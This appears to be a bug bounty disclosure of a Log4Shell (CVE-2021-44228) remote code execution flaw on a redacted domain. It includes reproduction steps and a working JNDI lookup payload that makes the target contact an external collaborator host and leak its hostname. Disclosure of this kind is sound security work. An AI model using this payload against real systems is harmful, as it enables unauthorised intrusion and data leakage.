Log4Shell: RCE 0-day exploit on █████████

How it was found

Hi team, log4 shell is recent 0-day exploit it's Java package vulnerable. ██████████ domain is vulnerable

Impact

RCE

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

1. Go to this url => https://███████/██████=%24%7bjndi%3aldap%3a%2f%2fx%24%7bhostName%7d.LOG45200SSRF.xxxxxx.burpcollaborator.net%2fa%7d
2. paste the poc code on ██████ url parameter
3. like this => https://██████████/██████
4. then burp collaborator received reverse ping back
5. I attached poc videos and photos below

POC CODE

${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions

https://www.lunasec.io/docs/blog/log4j-zero-day/